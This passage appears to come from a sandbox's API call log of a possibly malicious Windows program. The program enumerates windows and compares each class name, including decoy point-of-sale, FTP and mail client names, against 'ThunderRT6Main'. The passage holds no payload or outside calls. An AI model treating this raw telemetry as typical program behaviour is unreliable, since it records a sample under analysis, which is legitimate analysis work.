uCmd=0x2) returned 0x10242 [0116.202] GetClassNameA (in: hWnd=0x10242, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.202] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.202] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0116.202] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0116.202] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0116.202] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0116.202] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0116.202] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0116.202] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.202] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.203] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0116.203] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0116.203] GetClassNameA (in: hWnd=0x10238, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0116.203] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0116.203] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0116.203] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0116.203] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.203] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.203] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0116.203] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0116.203] GetClassNameA (in: hWnd=0x10234, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0116.203] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0116.203] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0116.203] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0116.203] GetClassNameA (in: hWnd=0x10236, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.203] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.203] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0116.203] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0116.203] GetClassNameA (in: hWnd=0x10230, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0116.203] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0116.203] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0116.203] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0116.203] GetClassNameA (in: hWnd=0x10232, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.203] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.203] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0116.203] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0116.204] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0116.204] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0116.204] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0116.204] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0116.204] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.204] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.204] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0116.204] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0116.204] GetClassNameA (in: hWnd=0x10228, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0116.204] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0116.204] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0116.204] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0116.204] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.204] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.204] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0116.204] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0116.204] GetClassNameA (in: hWnd=0x10224, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0116.204] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0116.204] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0116.204] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0116.204] GetClassNameA (in: hWnd=0x10226, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.204] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.204] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0116.204] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0116.204] GetClassNameA (in: hWnd=0x10220, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0116.204] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0116.205] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0116.205] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0116.205] GetClassNameA (in: hWnd=0x10222, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.205] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.205] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0116.205] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0116.205] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="yahoomessengerclass") returned 19 [0116.205] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0116.205] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0116.205] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0116.205] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.205] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.205] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0116.205] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0116.205] GetClassNameA (in: hWnd=0x10218, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0116.205] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0116.205] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0116.205] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0116.205] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.205] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.205] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0116.205] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0116.205] GetClassNameA (in: hWnd=0x10214, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0116.205] lstrcmpA (lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0116.205] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0116.205] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0116.206] GetClassNameA (in: hWnd=0x10216, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.206] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.206] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0116.206] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0116.206] GetClassNameA (in: hWnd=0x10210, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0116.206] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0116.206] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0116.206] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0116.206] GetClassNameA (in: hWnd=0x10212, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.206] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.206] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0116.206] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0116.206] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0116.206] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0116.206] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0116.206] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0116.206] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.206] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.206] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0116.206] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0116.206] GetClassNameA (in: hWnd=0x10208, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0116.206] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0116.206] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0116.206] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0116.206] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.206] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.206] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0116.207] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0116.207] GetClassNameA (in: hWnd=0x10204, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0116.207] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0116.207] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0116.207] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0116.207] GetClassNameA (in: hWnd=0x10206, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.207] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.207] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0116.207] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0116.207] GetClassNameA (in: hWnd=0x10200, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0116.207] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0116.207] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0116.207] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0116.207] GetClassNameA (in: hWnd=0x10202, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.207] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.207] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0116.207] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0116.207] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0116.207] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0116.207] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0116.207] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0116.207] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.207] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.207] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0116.208] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0116.208] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0116.208] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0116.208] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0116.208] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0116.208] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.208] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.208] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0116.208] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0116.208] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0116.208] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0116.208] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0116.208] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0116.208] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.208] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.208] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0116.208] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0116.208] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0116.208] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0116.208] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0116.208] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0116.208] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.208] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.208] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0116.208] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0116.208] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0116.208] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0116.209] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0116.209] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0116.209] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.209] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.209] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0116.209] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0116.209] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0116.209] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0116.209] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0116.209] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0116.209] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.209] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.209] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0116.209] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0116.209] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0116.209] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0116.209] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0116.209] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0116.209] GetClassNameA (in: hWnd=0x101e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.209] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.209] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0116.209] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0116.209] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0116.209] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0116.209] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0116.209] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0116.209] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.210] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.210] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0116.210] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0116.210] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0116.210] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0116.210] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0116.210] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0116.210] GetClassNameA (in: hWnd=0x101de, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.210] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.210] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0116.210] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0116.210] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0116.210] lstrcmpA (lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0116.210] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0116.210] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0116.210] GetClassNameA (in: hWnd=0x101da, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.210] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.210] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0116.211] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0116.211] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0116.211] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0116.211] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0116.211] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0116.211] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.211] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.211] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0116.212] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0116.212] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0116.212] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0116.212] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0116.212] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0116.212] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.212] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.212] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0116.212] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0116.212] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0116.212] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0116.212] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0116.212] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0116.212] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.212] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.212] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0116.212] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0116.212] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0116.212] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0116.212] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0116.212] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0116.212] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.212] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.212] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0116.213] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0116.213] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0116.213] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0116.213] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0116.213] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0116.213] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.213] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.213] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0116.213] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0116.213] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0116.213] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0116.213] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0116.213] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0116.213] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.213] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.213] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0116.213] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0116.213] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0116.213] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0116.213] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0116.213] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0116.213] GetClassNameA (in: hWnd=0x101be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0116.213] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0116.213] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0116.214] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0116.214] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0116.214] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0116.214] GetWindowThreadProcessId (in: 